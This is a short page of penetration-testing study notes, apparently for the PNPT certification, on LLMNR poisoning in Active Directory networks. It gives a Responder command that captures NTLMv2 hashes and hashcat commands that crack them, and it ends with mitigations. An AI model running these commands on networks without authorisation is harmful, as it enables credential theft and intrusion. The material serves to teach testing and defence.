> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/initial-attack-strategy/llmnr-poisoning.md).

# LLMNR Poisoning

## Overview

Link Local Multicast Name Resolution (LLMNR), is used to identify hosts when DNS fails to do so in the network.

The main flaw with LLMNR is that the services use a user's username and NTLMv2 hash when responded to

<figure><img src="/files/7Lr3l7v2mf2ADr8Y7hzf" alt=""><figcaption><p>Captured hash example from Kali Forums</p></figcaption></figure>

## Responder

```bash
sudo responder -I eth0 -dwv
```

## Crack NTLM Hashes

```bash
hashcat -m 5600 crackme.txt ~/rockyou.txt -O
hashcat -m 5600 crackme.txt ~/rockyou.txt -r OneRule.rule
```

## Mitigation

* Best defense is to disable LLMNR and NBT-NS
* Strong password policy (14 char)